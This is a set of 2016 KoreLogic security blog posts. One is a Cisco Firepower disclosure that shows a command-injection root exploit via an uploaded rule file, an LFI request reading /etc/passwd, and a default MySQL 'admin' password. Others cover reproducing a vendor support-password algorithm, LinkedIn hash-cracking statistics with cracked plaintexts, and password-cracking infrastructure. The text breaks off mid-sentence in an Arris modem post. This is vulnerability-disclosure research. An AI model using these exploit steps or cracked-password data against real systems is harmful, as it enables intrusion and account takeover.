``` Additionally, I noticed that there is a group whose users can execute any command as root. By default, only the admin user can do so. ``` $ grep ldapgroup etc/sudoers %ldapgroup ALL = (ALL) ALL $ grep ldapgroup etc/group ldapgroup::201:admin ``` The useradd binary from the appliance has the flag -g which allows you to specify which group to place a newly created user into. It also supports specifying the new user's password hash on the command line. ``` Usage: useradd [options] LOGIN Options: -b, --base-dir BASE_DIR base directory for the home directory of the new account -c, --comment COMMENT GECOS field of the new account -d, --home-dir HOME_DIR home directory of the new account -D, --defaults print or change default useradd configuration -e, --expiredate EXPIRE_DATE expiration date of the new account -f, --inactive INACTIVE password inactivity period of the new account -g, --gid GROUP name or ID of the primary group of the new account [snip] -p, --password PASSWORD encrypted password of the new account [snip] ``` Therefore, if I could get the www user to run a specific command I could get root. Here is the command: ``` sudo useradd -g ldapgroup -p `openssl passwd -1 ` ``` The management web application maintains ten separate security roles. Only two of those roles can update IDS signature rules. The two roles are: Administrator, and Intrusion Administrator. With the exception of the Administrator user, none of these groups afford the user shell access. Oddly enough, the target appliance uses a shell script to do the IDS rule update. I tried the following: ``` POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1 [snip] Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3 [snip] -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="file"; filename="exploit.sh" Content-Type: application/octet-stream sudo useradd -g ldapgroup -p `openssl passwd -1 korelogic` korelogic [snip] HTTP/1.1 200 OK Date: Fri, 30 Sep 2016 21:43:14 GMT Server: Apache Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Length: 49996 Connection: close Content-Type: text/html; charset=utf-8 [snip] ``` Everything in the application looked like it had worked out successfully. So, I tried to ssh. ``` $ ssh korelogic@1.3.3.7 Password: Last login: Sat Oct 1 02:21:00 2016 from 1.3.3.7 Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved. Cisco is a registered trademark of Cisco Systems, Inc. All other trademarks are property of their respective owners. Cisco Fire Linux OS v6.0.1 (build 37) Cisco Firepower Management Center for VMWare v6.0.1 (build 1213) Could not chdir to home directory /Volume/home/korelogic: No such file or directory korelogic@firepower:/$ sudo su - Password: root@firepower:~# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) ``` A full exploit can be found [here](/blog/2016/10/10/virtual-appliance-spelunking/kl-cisco-firepower-rce.py). This was issued CVE-2016-6433. I also found a few other noteworthy things during the time I spent playing with the target appliance. There is a report function that contains a local file inclusion vulnerability. ``` GET /events/reports/view.cgi?download=1&files=../../../etc/passwd%00 HTTP/1.1 Host: [redacted] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3 Connection: close HTTP/1.1 200 OK Date: Fri, 22 Apr 2016 23:58:41 GMT Server: Apache Content-Disposition: attachment; filename=passwd X-Frame-Options: SAMEORIGIN Connection: close Content-Type: application/octet-stream Content-Length: 623 root:x:0:0:Operator:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin mysql:x:27:27:MySQL:/var/lib/mysql:/sbin/nologin nobody:x:99:99:nobody:/:/sbin/nologin sshd:x:33:33:sshd:/:/sbin/nologin www:x:67:67:HTTP server:/var/www:/sbin/nologin sfrna:x:88:88:SF RNA User:/Volume/home/sfrna:/sbin/nologin snorty:x:90:90:Snorty User:/Volume/home/snorty:/sbin/nologin sfsnort:x:95:95:SF Snort User:/Volume/home/sfsnort:/sbin/nologin sfremediation:x:103:103::/Volume/home/remediations:/sbin/nologin admin:x:100:100::/Volume/home/admin:/bin/sh casuser:x:101:104:CiscoUser:/var/opt/CSCOpx:/bin/bash ``` This was issued CVE-2016-6435. The root acount of a local MySQL database where most everything resides is protected with the password "admin". ``` root@firepower:/Volume/6.0.1# mysql -u root --password=admin Warning: Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 23348 Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise Server - Advanced Edition (Commercial) Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | Sourcefire | | external_data | | external_schema | | mysql | | performance_schema | | sfsnort | +--------------------+ 7 rows in set (0.00 sec) mysql> ``` This listener is not externally exposed, but still using a static password of 'admin' is not a great idea. This was issued CVE-2016-6434. We also found a denial-of-service for the web application management interface. That's not as exciting though, I won't go into details on it here but information regarding it can be found on our [advisory page](/advisories/KL-001-2016-005/). That's all I have for now. Thanks for reading! --- ## Nothing To See Here, Move Along URL: https://korelogic.com/blog/2016/08/08/nothing-to-see-here-move-along/ Vendors often have interesting ways to facilitate support for their appliances. Today, I'll discuss a few ways we have seen it implemented: one that is vulnerable to exploitation and others that aren't so bad. Published: 2016-08-08 Author: Matt Category: Password Security Tags: vulnerability-research, passwords Vendors often have interesting ways to facilitate support for their appliances. Today, I'll discuss a few ways we have seen it implemented: one that is vulnerable to exploitation and others that aren't so bad. When we find vulnerabilities doing independent research, we work with the vendors through our disclosure program to attempt to get the issues fixed, and we are free to publish whether or not the vendor addresses the problems. Occasionally while on an engagement for a client, we come across one or more vulnerabilities in third-party platforms. When this happens, we work with our client to inform their vendor in an effort to get the vulnerabilities corrected, and coordinate disclosure. Usually, vendors are responsive, and our client and other customers of that vendor get the fix. However, it does not always work that way. In one case, the vendor declined to fix a vulnerability in a remote admin feature, saying that they did not agree it was a vulnerability. Meanwhile our client does agree it is a problem - and thus does not want us to name names because we have no workaround for them (other than "don't use that feature; switch to a more secure product"). I won't be able to discuss what company or product is affected by the vulnerability, but I sure can discuss the problem in the abstract. Also, the vulnerability is still out there as they refused to address it. ;-) There are a few assumptions that I make during this explanation. The first is that the attacker has access to a non-unique seed, which is baked into every one of these devices. The second is that the attacker knows the name of the vendor support account. Both of these can be obtained through reverse engineering various binaries and scripts on the platform (that's how I got them). The platform was virtualized, and that conveniently allowed me to convert the VMDK into a raw format such that the filesystem could be mounted locally and perused at my leisure. The next assumption is that the attacker has obtained access to or can generate something called a support code. This code is a value that is generated by a command run on the device, and then communicated by the customer to the vendor. The vendor then uses an algorithm to derive a password from a support code that can subsequently be used to authenticate (over SSH) to a support account on the platform. In the case I discovered, the support account had root privileges. The vendor denied our submission on the basis that the jailed shell was more-or-less equivalent in capability to a root shell. But the documentation indicates this root access is only for remote support by the vendor - not that anyone with access to a support code, or to the jailed, restricted shell can gain a root shell, install a rootkit or malicious kernel modules, etc. When we have found similar issues in other vendors' appliances, they have considered it significant and swiftly worked to address it. On to the technical details! It starts with two user accounts, a non-root user with a custom shell who can sudo some commands, and a support user with uid zero and a regular shell, which only the vendor is expected to be able to access: ``` # cat /etc/passwd ... demo:x:1000:1000:demo,,,:/home/demo:/usr/bin/demo_shell support:x:0:0:support,,,:/home/support:/bin/sh ... # ls -la /usr/bin/demo_shell -rwxr-xr-x 1 demo demo 1085 Jul 8 19:28 /usr/bin/demo_shell ``` Think of the demo user, and their custom shell, as the typical CLI user for an appliance, with a restricted interface that only allows certain specific device management commands. User demo is allowed to sudo some things such as: ``` # cat /etc/sudoers ... demo ALL=(ALL:ALL) NOPASSWD:/usr/sbin/chpasswd -c MD5 ... ``` In the device we tested, the custom shell was a binary, with various features. In this example I show some Python code I have written that simulates (just) the password generation feature we observed. You'll notice the seed value is static, and the input variable is randomly generated using a limited keyspace, uppercase letters; these are representative of the device's code that I reverse engineered. The tested device's maximum length (for both the value and new_pw variable) was less than the value (12) I have chosen. (For simplicity, I removed a timing feature which required their equivalent of support() to generate the same value for twenty four hours, and which expired the generated password after that. It did add a bit more obscurity to the whole thing, but in the end it didn't save them, and it won't save you either.) ``` #!/usr/bin/python from hmac import new as new_hmac from base64 import b64encode from random import randrange from hashlib import sha256 from os import system from sys import exit seed = b"ABCDEFGH1234567890" def support(): value,letters = "",['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'] for i in xrange(0x0,0xc): value+=letters[randrange(0x0,0x1a)] new_pw = b64encode(new_hmac(seed, msg=value, digestmod=sha256).digest())[0x0:0xc] system('echo support:%s | /usr/bin/sudo /usr/sbin/chpasswd -c MD5' % (new_pw)) print "Support code: %s" % (value) return def help(): print "\tsupport\t-\tEnable technical support." print "\tquit\t-\tQuit session." return def main(): while True: try: command = raw_input("> ") if (command == "help"): help() if (command == "support"): support() if (command == "quit"): exit(0) except Exception as e: print "Error: %s" % (e) print "" return if __name__=="__main__": main() ``` When an end user of the platform needs to request vendor assistance, they simply enable the support shell and are provided with the support code. The attacker must either have access to the demo / low-privilege session to run the command, or somehow get ahold of this value. This could be achieved by reading an email, searching a filesystem, listening in on a phone call, or any other method that would typically work for information gathering. ``` $ ssh demo@[redacted] demo@[redacted]'s password: > help support - Enable technical support. quit - Quit session. > support Support code: SSGEXKVWJACO > quit ``` Once the 'support' option has been selected, the support shell generates a new password and updates the support user's password hash in /etc/shadow (see below). ``` $ cat shadow-excerpt.txt support:$1$vJQcV/IW$eQ46wZsawuWuRzXI9zFJK0:16991:0:99999:7::: ``` So, as an attacker, I need two things. The globally assigned seed value and the support code. With these two pieces of information, I can then generate the password for the support account by simply recreating the same process that the vendor's platform uses. ``` #!/usr/bin/python from hmac import new as new_hmac from hashlib import sha256 from base64 import b64encode def main(): print b64encode(new_hmac(b"ABCDEFGH1234567890", msg="SSGEXKVWJACO", digestmod=sha256).digest())[0x0:0xc] return if __name__=="__main__": main() ``` The shadow file can then be cracked to validate that the password generated by the platform matches what I've generated. The target asset can now be logged into as if you were the vendor. ``` $ john shadow-excerpt.txt Loaded 1 password hash (FreeBSD MD5 [32/64 X2]) JgsA7zsMg/bq (support) guesses: 1 time: 0:00:00:00 100% c/s: 100 trying: JgsA7zsMg/bq $ ssh support@[redacted] support@[redacted]'s password: support@debian:~# ``` So, this is obviously a bad idea. How can it be done better? Interestingly enough, having found this got me interested in how other vendors tackle the same problem. I came across one (who deserves props but I won't name them) that utilizes a process that I wasn't able to defeat in the time available. It combined dynamic SSH key generation, an HTTPS API with Certificate Pinning, and reverse SSH Port Forwards. There is a preconfigured, persistent public key in root's authorized_keys file, for which the vendor's back-end support holds the private key. However, sshd is only accessible from localhost. Each time the 'support' command is run, a new local keypair is generated. The new public key is then sent to a support server at the vendor using an HTTPS API which performs a Certificate Pinning check. The public key is then added to their server's support account (and any previous public key for that device is revoked) running what I assume is a heavily restricted SSHD configuration. An SSH connection is then established to create a reverse port forward on their support server. A support technician can then log into the customer's device remotely. In my opinion, this is a much better approach than the one described above. We have seen less elaborate systems that were still an improvement over what this device used. For instance, configuring sshd to require multiple authentication methods, such as public-private key plus password. Ship devices with a baked-in public key (and don't include the private key, F5), _and_ use a temporary-password method like what was in place here. That way an attacker cannot gain access without the vendor's private key, and the vendor cannot gain access without the customer enabling support access. Not perfect, but much better, and would require minimal changes to the vendor's builds and workflows. Anyhow, I wish the vendor in question would have responded differently, but that's life. The ostrich approach is preferred by some organizations. Image --- ## Cracking Grid - Essential Attributes URL: https://korelogic.com/blog/2016/05/25/cracking-grid-8211-essential-attributes/ A look at KoreLogic password cracking operations and the infrastructure attributes that matter for sustained cracking workloads. Published: 2016-05-25 Author: Klayton Category: Password Security Tags: tools, passwords, web-security, networking Here at KoreLogic, we are constantly cracking passwords. It's just one of the things we do. While we haven't made a concerted effort to track it, I'd venture to say that cracking for us is pretty close to a 24/7/365 operation. Between paid cracking engagements and penetration tests, our resident cracking expert, [Rick](https://www.youtube.com/watch?v=qR-qRUbeKAo&ab_channel=AdrianCrenshaw), almost always has something cooking on our Distributed Cracking Grid ("Grid"). This week, it happens to be [ LinkedIn](/blog/2016/05/19/linkedin-2012-hash-analysis/) hashes. This level of uptime is made possible by the [WebJob](http://webjob.sourceforge.net/WebJob/) framework, the foundation upon which our Grid was built (check out this paper for a brief overview of the technology). WebJob's queuing system allows us to maintain a number of concurrent work orders at any given time. Today, for instance, we have 22 active work orders consisting of 151,995 jobs (or attacks) spread out over 35 queues. At any time, a single attack can be in one of several states (e.g., waiting, working, complete), and resources (i.e., GPU and CPU cores) can be shifted from queue to queue as needs dictate. Additionally, attacks within any given queue can be prioritized. All of this allows us to keep work orders active for days, weeks, or even months at a time, and that's pretty darn cool. As the Grid's chief architect and primary developer, it's my job to keep the Grid running and add new features/capabilities over time. In this article, I'd like to share with you our aspirations and reasons for creating a cracking grid that is secure, distributed, scalable, and extensible. ### Secure With all the data breaches that have occurred and been reported on in recent years, it shouldn't take much to convince you that user credentials (and password hashes by extension) are highly sought after items. Armed with the correct set of credentials, an attacker can bridge the outsider/insider gap, and we all know that being an insider is a far better place to be when one is bent on doing bad things. Whether you elect to audit your own passwords or engage an external firm, like KoreLogic, to provide that service for you, it stands to reason that the audit or any aspect of it should not increase your level of exposure or risk simply because you had it done. Therefore, the process and systems used to conduct the audit are at least as important as the raw data and final results. You certainly wouldn't want the source of a data breach to be sensitive data handled poorly, transferred in a compromising way, or stored in the clear on unsecured systems. No, you'd want assurance that things are going to be done right (i.e., securely and with high degree of care and attention to detail). Since KoreLogic is a security company, we take security seriously. While no one can be 100% secure, we strive towards that goal on a daily basis. In fact, the majority of our effort is spent ensuring that the Grid continues to function in spite of the unique challenges posed by things like system hardening, full disk encryption, network- and host-based firewalls, transport layer security, mutual authentication, digitally-signed jobs, privilege separation, data segregation, and keeping things under our exclusive control (i.e., no cloud providers). That last item deserves a bit more discussion. Even though cracking in the cloud, at first glance, sounds like an attractive, inexpensive, and convenient option, it would eliminate our ability to maintain a level of security and control to our standards, and that's a risk that we're not willing to take. ### Distributed A cracking grid should be distributed. Unless you are a three-letter agency or keep a farm of super computers in your basement, you'll need a way to distribute the load. For weak hash algorithms (e.g., LM), this isn't as important, but for strong algorithms (e.g., bcrypt), it's an absolute requirement. Why? Because the amount of time it would take to exhaust the keyspace is beyond our reach. Thus, we are forced to mount targeted attacks (e.g., dictionaries, rules, masks, etc.). The problem is that there are thousands of targeted attacks. In fact, there are many more attacks than a single system (or small cluster of systems) could mount in a short period of time. By distributing the load you can execute more attacks concurrently and avoid potential limiting factors such as insufficient cooling and/or power. Our Grid is comprised of both GPU- and CPU-based compute nodes spread out over a number of different geographic locations. Since the underlying technology is not tied to a single physical location, compute nodes can be placed anywhere there's adequate physical security, power, cooling, and network connectivity. This makes it extremely easy to add capacity or support custom requests like: "Hey, we have GPU compute nodes in several data centers. Can you guys combine those resources to attack this hash set?" ### Scalable A cracking grid should be scalable. This becomes apparent as soon as you are faced with a need to crack multiple hash sets concurrently or when the number of GPU/CPU cores at your disposal is less than what's needed to get the job done. Oh, you can manage for a while using ad hoc methods, but you will eventually reach a tipping point where your capacity and concurrency requirements can't be met. Our Grid scales in both ways: capacity and concurrency. New compute nodes can be added at any time to increase capacity. Once added to the Grid through a secure on-boarding process, each GPU/CPU core in the compute node is immediately available as an individual cracking resource. Similarly, new queues can be created at any time to support an increased set of concurrent work orders. As long as at least one core can be assigned to each queue, forward progress can be made. ### Extensible A cracking grid should be extensible. Personally, I'd prefer to find one good cracking solution and stick with it, but in today's ever changing world, that's an idealistic view, at best. Interests change. Solutions come and go; some ebb and flow. GPU models or even brands of choice change, targeted hash types change, reporting requirements change, and so on. Thus, any cracking grid worth its salt must be flexible and readily adapted to keep up with the changing tides. Our Grid can be extended, with minimal effort, to support new cracking applications and tasks. Originally, the Grid only supported one cracking solution: [John the Ripper (JtR)](http://www.openwall.com/john/). As GPU cracking became a standard part of our practice, integrating support for [oclHashcat](http://hashcat.net) was simply a matter of creating a handful of new, yet highly-related-to-the-existing-JtR, scripts. When support for [cudaHashcat](http://hashcat.net) was added, only a few lines of code were changed. When faced with the need to count guesses while cracking for a [research collaboration](https://www.usenix.org/node/190979) with Carnegie Mellon University, only a small C program and a few minor script changes were needed. In all cases, the same basic framework was used. --- ## LinkedIn Revisited - Full 2012 Hash Dump Analysis URL: https://korelogic.com/blog/2016/05/19/linkedin-2012-hash-analysis/ KoreLogic revisits the full 2012 LinkedIn password hash dump, analyzing the separate email and password lists without linking identities to passwords. Published: 2016-05-19 Author: Rick Redman Category: Vulnerability Research Tags: forensics, passwords As you may know, a "full" dump of email addresses and password hashes for the Linkedin.com attack that occurred in 2012 has become available. Here at KoreLogic, we got our hands on the list of emails and the separate list of passwords (but nothing linking the two together, which we don't want or need). We started to gather some statistics on them using our [Password Recovery Service (PRS)](/services/password-audits-and-recovery/). The following analysis assumes the lists are real; due to the valid email addresses and confirming some of our own accounts' data from back then, we believe that the dump is real. What we know so far: It contains 164,590,819 unique email addresses. It contains 177,500,189 unsalted SHA1 password hashes. Note that this is a larger number than the amount of email addresses. It contains 61,829,207 unique hashes. This means there are duplicates, and this is good for password researchers because it allows us to come up with statistics of how often certain passwords are used. As of Thursday May 19 14:09 EDT 2016, we've cracked 65% of the lists, after about two hours work on our private distributed cracking grid. Approximately 41,500,000 plain-text hashes have been recovered so far. There are literally thousands of new cracks coming in every minute, so the numbers are a bit rough. The most common password hashes are: ``` Number | Hash 1135936 7c4a8d09ca3762af61e59520943dc26494f8941b 207488 7728240c80b6bfd450849405e8500d6d207783b6 188380 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 149916 f7c3bc1d808e04732adf679965ccc34ca7ae3441 95854 7c222fb2927d828af22f592134e8932480637c0d 85515 3d4f2bf07dc1be38b20cd6e46949a1071f9d0e3d 75780 20eabe5d64b0e216796e834f52d61fd0b70332fc 51969 dd5fef9c1c1da1394d6d34b248c51be2ad740840 51870 b1b3773a05c0ed0176787a4f1574ff0075f7521e 51535 8d6e34f987851aa599257d3831a1af040886842f 49235 c984aed014aec7623a54f0591da07a85fd4b762d 41449 6367c48dd193d56ea7b0baad25b19455e529f5ee 35919 d8cd10b920dcbdb5163ca0185e402357bc27c265 34440 1411678a0b9e25ee2f7c8b2f7ac92b6a74b3f9c5 32879 601f1889667efaebb33b8c12572835da3f027f78 32289 ff539c96a2ed9f72a47a5e1c7d59e143ba1fba94 30972 019db0bfd5f85951cb46e4452e9642858c004155 30923 01b307acba4f54f55aafc33bb06bbbf6ca803e9a 28928 775bb961b81da1ca49217a48e533c832c337154a 28705 17b9e1c64588c7fa6419b4d29dc1f4426279ba01 ``` These values crack to: ``` Number | Hash | Plaintext 1135936 7c4a8d09ca3762af61e59520943dc26494f8941b 123456 207488 7728240c80b6bfd450849405e8500d6d207783b6 linkedin 188380 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password 149916 f7c3bc1d808e04732adf679965ccc34ca7ae3441 123456789 95854 7c222fb2927d828af22f592134e8932480637c0d 12345678 85515 3d4f2bf07dc1be38b20cd6e46949a1071f9d0e3d 111111 75780 20eabe5d64b0e216796e834f52d61fd0b70332fc 1234567 51969 dd5fef9c1c1da1394d6d34b248c51be2ad740840 654321 51870 b1b3773a05c0ed0176787a4f1574ff0075f7521e qwerty 51535 8d6e34f987851aa599257d3831a1af040886842f sunshine 49235 c984aed014aec7623a54f0591da07a85fd4b762d 000000 41449 6367c48dd193d56ea7b0baad25b19455e529f5ee abc123 35919 d8cd10b920dcbdb5163ca0185e402357bc27c265 charlie 34440 1411678a0b9e25ee2f7c8b2f7ac92b6a74b3f9c5 666666 32879 601f1889667efaebb33b8c12572835da3f027f78 123123 32289 ff539c96a2ed9f72a47a5e1c7d59e143ba1fba94 linked 30972 019db0bfd5f85951cb46e4452e9642858c004155 maggie 30923 01b307acba4f54f55aafc33bb06bbbf6ca803e9a 1234567890 28928 775bb961b81da1ca49217a48e533c832c337154a princess 28705 17b9e1c64588c7fa6419b4d29dc1f4426279ba01 michael ``` The most common patterns used in the passwords are follows: (Updated May 20 11:00 EDT 2016) ?d = Digit [0-9] ?s = "Special Character" +_)*(&^%$#@!~`-=[]\{}|;':",./<>? ...etc. ?l = Lower case letter [a-z] ?u = Upper case letter [A-Z] ``` Number | Pattern 2464707 ?l?l?l?l?l?l?l?l Example: linkedin 1776416 ?l?l?l?l?l?l?d?d Example: linked12 1663330 ?l?l?l?l?l?l?l?l?l Example: alinkedin 1587423 ?l?l?l?l?d?d?d?d Example: link2012 1528434 ?l?l?l?l?l?l?l Example: linkedi 1525784 ?l?l?l?l?l?l Example: linked 1348195 ?d?d?d?d?d?d?d?d 1172612 ?l?l?l?l?l?l?l?l?l?l 1074096 ?l?l?l?l?l?d?d?d?d 1042003 ?d?d?d?d?d?d?d?d?d?d 984939 ?l?l?l?l?l?l?d?d?d?d 936771 ?l?l?l?l?l?l?l?d?d 819341 ?l?l?l?d?d?d?d 781166 ?d?d?d?d?d?d?d 723656 ?l?l?l?l?l?d?d 713165 ?l?l?l?l?l?l?l?l?l?l?l 692280 ?l?l?l?l?l?d?d?d 690521 ?d?d?d?d?d?d 670878 ?l?l?l?l?l?l?l?l?d?d 653118 ?l?l?l?l?l?l?l?d 539001 ?l?l?l?l?l?l?d?d?d 494526 ?l?l?l?l?d?d 491474 ?l?l?d?d?d?d 462250 ?l?l?l?l?l?l?l?l?l?l?l?l ``` The most common "base words" used in the passwords are shown below. These are calculated by taking all the recovered passwords, removing all special characters and digits, and then sorting the results. This was the initial technique used by KoreLogic in 2012 to determine that the set of ~6.5 million hashes found on a Russian message board was in fact from LinkedIn.com (which now appears to have been only a subset of this larger leak). ``` Number | Base word 29883 linkedin Examples: linkedin1 linkedin2012 linkedin! 26194 link Examples: link2012 2012link !!link!! 21731 love 19721 ever 15574 linked 14156 life 11674 alex 10773 mike 10566 pass 9540 john 9176 blue 8937 june 8338 jack 8006 july 7305 home 7205 star 7094 password 7005 angel ``` Update: May 19 15:53 EDT 2016 Here is a list of the most common domains used by the accounts in the dump. No real surprises here. ``` Number | Domain Name 32865035 gmail.com 24018467 hotmail.com 20361246 yahoo.com 4268015 aol.com 1977483 comcast.net 1427168 yahoo.co.in 1333354 msn.com 1039135 sbcglobal.net 1036522 rediffmail.com 992936 yahoo.fr 913406 yahoo.co.uk 843158 live.com 839735 yahoo.com.br 748001 hotmail.co.uk 740473 verizon.net 574117 hotmail.fr 549022 yahoo.com 528635 ymail.com 528040 cox.net 509047 bellsouth.net 503271 libero.it 478587 att.net 428930 yahoo.es 406492 btinternet.com ``` Update: May 19 17:00 EDT 2016 42,691,862 unique passwords recovered so far; 69% of the unique hashes have cracked at this point. Of the total 177,500,189 non-unique hashes leaked, there are 143,914,964 password hashes cracked, 33,585,225 left. That represents 81.07% of all LinkedIn.com users in the dump. Update: May 20 10:00 EDT 2016 ~48,520,000 unique passwords recovered so far; ~78% of the unique hashes have cracked at this point. And we have recovered the passwords for ~86% of all LinkedIn.com users in the dump. ~13,360,000 unique hashes left to crack ... Update: May 20 11:00 EDT 2016 Here is a list of the most common email addresses without their domain. No real surprises here. ``` 555249 info@ 64325 john@ 60845 david@ 55525 mike@ 52685 chris@ 52251 mail@ 50654 sales@ 50444 mark@ 48006 steve@ 45872 paul@ 39051 contact@ 37424 linkedin@ 36511 peter@ 35818 michael@ 35770 admin@ 30473 dave@ 30034 tom@ 29102 jim@ 26872 jeff@ ``` Update: May 20 18:00 EDT 2016 Our grid was busy doing client work for about 24 hours, so not many new cracks today. But here's some updated stats and analysis. ~49,290,000 unique passwords recovered so far. ~12,520,000 unique hashes left to crack. 5,184,351 of the recovered passwords are 8+ characters and contain one upper, one lower, and one digit. 825,975 of the recovered passwords are 8+ characters and contain one upper, one lower, and one digit and one special character. The pattern distribution of these passwords closely resembles the findings of [our PathWell research](/blog/2014/04/04/pathwell-topologies) - they are heavily biased towards some universally common topologies: ``` 29742 ?u?l?l?l?l?l?s?d?d 26640 ?u?l?l?l?l?l?d?d?s 26287 ?u?l?l?l?l?s?d?d 23830 ?u?l?l?l?l?l?s?d 20296 ?u?l?l?l?l?l?d?s 18365 ?u?l?l?l?l?d?d?s 17390 ?u?l?l?l?s?d?d?d?d 17085 ?u?l?l?l?l?l?l?d?s 16723 ?u?l?l?l?l?l?l?s?d 14989 ?u?l?l?l?l?l?l?s?d?d 13565 ?u?l?l?l?l?s?d?d?d?d 12986 ?u?l?l?l?l?l?l?d?d?s 12590 ?u?l?l?s?d?d?d?d 12305 ?u?l?l?l?l?s?d?d?d 11280 ?u?l?l?l?l?l?l?l?d?s 10991 ?u?l?l?l?d?d?d?d?s 10822 ?u?l?l?l?l?l?s?d?d?d?d 10796 ?u?l?l?l?s?d?d?d ``` The [PACK output](http://thesprawl.org/projects/pack/) of the unqiue cracks so far (numbers rounded slightly): ``` [*] Length: [+] 8: 29% (14,620,000) [+] 9: 17% (8,430,000) [+] 10: 14% (6,950,000) [+] 7: 13% (6,660,000) [+] 6: 10% (5,410,000) [+] 11: 06% (3,270,000) [+] 12: 03% (1,930,000) [+] 13: 01% (921,000) [+] 14: 01% (508,000) [+] 15: 00% (263,000) [+] 16: 00% (159,000) [*] Character-set: [+] loweralphanum: 48% (24,128,000) [+] loweralpha: 20% (10,303,000) [+] mixedalphanum: 10% (5,026,000) [+] numeric: 08% (4,428,000) [+] loweralphaspecialnum: 02% (1,377,000) [+] upperalphanum: 01% (957,000) [+] all: 01% (936,000) [+] mixedalpha: 01% (852,000) [+] loweralphaspecial: 01% (507,000) [+] upperalpha: 00% (431,000) [+] mixedalphaspecial: 00% (147,000) [+] specialnum: 00% (84,000) [+] upperalphaspecialnum: 00% (62,000) [+] upperalphaspecial: 00% (19,000) ``` Update: May 21 18:00 EDT 2016 ~49,999,999 unique passwords recovered so far. ~11,863,000 unique hashes left to crack. Update: May 25 15:40 EDT 2016 Our grid is mostly doing other things now. We have gotten a couple requests about re-sharing the list, and/or about building some kind of online interface to look up individual credentials. We have no plans to do so. For more of KoreLogic's talks about password recovery, check out the following videos of KoreLogic employee, and founder of PRS, Rick Redman: [Your Password Complexity Requirements are Worthless - OWASP AppSecUSA 2014](https://www.youtube.com/watch?v=zUM7i8fsf0g&ab_channel=OWASP) [Cracking Corporate Passwords: Why Your Password Policy Sucks](https://www.youtube.com/watch?v=5i_Im6JntPQ&ab_channel=PerThorsheim) --- ## Update on Crack Me If You Can - DEFCON 2016 URL: https://korelogic.com/blog/2016/03/28/update-on-crack-me-if-you-can-8211-defcon-2016/ KoreLogic answers common questions about the DEF CON 2016 Crack Me If You Can password cracking contest. Published: 2016-03-28 Author: Rick Redman Category: Contests & Events Tags: tools, passwords, contests The [@CrackMeIfYouCan](https://twitter.com/CrackMeIfYouCan) team at KoreLogic has had a lot of questions about this year's DEFCON Crack Me If You Can (CMIYC) contest ... The short answer is, we are not doing a CMIYC this year at [DEFCON](https://defcon.org). That does not mean that 2015 was our last year, it just means we aren't doing one in 2016. It's been a very busy year for us so far, and CMIYC is a huge commitment on our schedules. We just cannot make it happen this year. On a more personal note, I dreamed up CMIYC in 2010 with multiple goals in mind: - To improve the password cracking community using a contest as a teaching method. - To put pressure on tool authors to support hash algorithms that were not supported at the time. - To push password crackers into learning new skills, such as rule writing. - To help pull the password cracking community together so that we can show off our skills, and grow together. - For all of us to learn from what others are doing. - Persuade the best password cracking teams to share their skills, knowledge, wisdom, toolsets, etc. - To emphasize the importance of attacking password hashes with brains, not just computing-brawn. - Making Hashcat open-source^H^H^H^H^H^H^H^H^H^W^W^W I feel like, as a community, we have met and exceeded all of these goals. Some of the previous years' contests had certain themes based on what we thought were skills password crackers should have. They have included: - Rule writing - Wordlist creation - New hash formats - Working on a team in a way that doesn't duplicate effort - Hash extraction techniques - Attacking long but weak passphrases - Adapting to differing password strength enforcement rules - Non-US-English passwords, containing international characters This leads us into another discussion. What skills do YOU think we should challenge the password cracking community with? (Please comment here, your own blog, twitter, etc.) One of the things that led us to the decision to not have the contest this year was that we were running out of ideas to challenge the password cracking community, without just getting silly and contrived. Look back at the 2010 contest, the teams that exist today would DESTROY that contest these days. The "tasks" presented in 2010 are rather tame compared to the ones we face daily as password crackers. Please everyone stay in touch, we will see you next year. - The [@CrackMeIfYouCan](https://twitter.com/CrackMeIfYouCan) Team --- ## Hacking an Arris Cablemodem URL: https://korelogic.com/blog/2016/02/12/hacking-an-arris-cablemodem/ Part four of KoreLogic firmware research, covering a remote root vulnerability discovered in a popular Arris cable modem. Published: 2016-02-12 Author: Matt and Hank Category: Password Security Tags: vulnerability-research, tools, passwords, iot, web-security Welcome to part four in our four part series on firmware and embedded devices. In our final part, we will discuss a remote root vulnerability in a popular cable modem. Awhile ago, we were shown the administrator portal for a particular cable modem vendor. Old school, right? Still, what an interesting attack vector, we thought. We realize ISPs need some degree of access in order to properly provision modems, but how much should you trust your ISP (and who they partner with) to make security decisions for you? Personally, we only believe in what can be measured and this meant our hands needed to get dirty... Don't worry root, we're coming for you! Finding information about our target modem (Arris DG1670A/TG1670) was difficult. We discussed it with our ISP at length, but to no avail. This included sales, field technicians, and customer support at various escalation levels. Nobody would talk. What's worse was that all of our research was turning up no other information. The search went on for quite some time. On August 28, 2015 a user on GitHub by the name of GuerrillaWarfare posted a new repository named Junkyard. A link to it even ended up on /r/netsec from reddit. The repository had firmware images for popular cable modems. Albeit a slightly older revision, ours target was on the list! ``` Repository: https://github.com/detrojones/Junkyard.git Filename: TS0801102P_100714_NA.16XX.GW.ATOM.img ``` The firmware images and supporting documentation within the repository listed above vanished during our disclosure process. If you're truly interested though, you may still be able to locate it as deleting things from the internet is a... tad difficult. Image Below is a listing of the 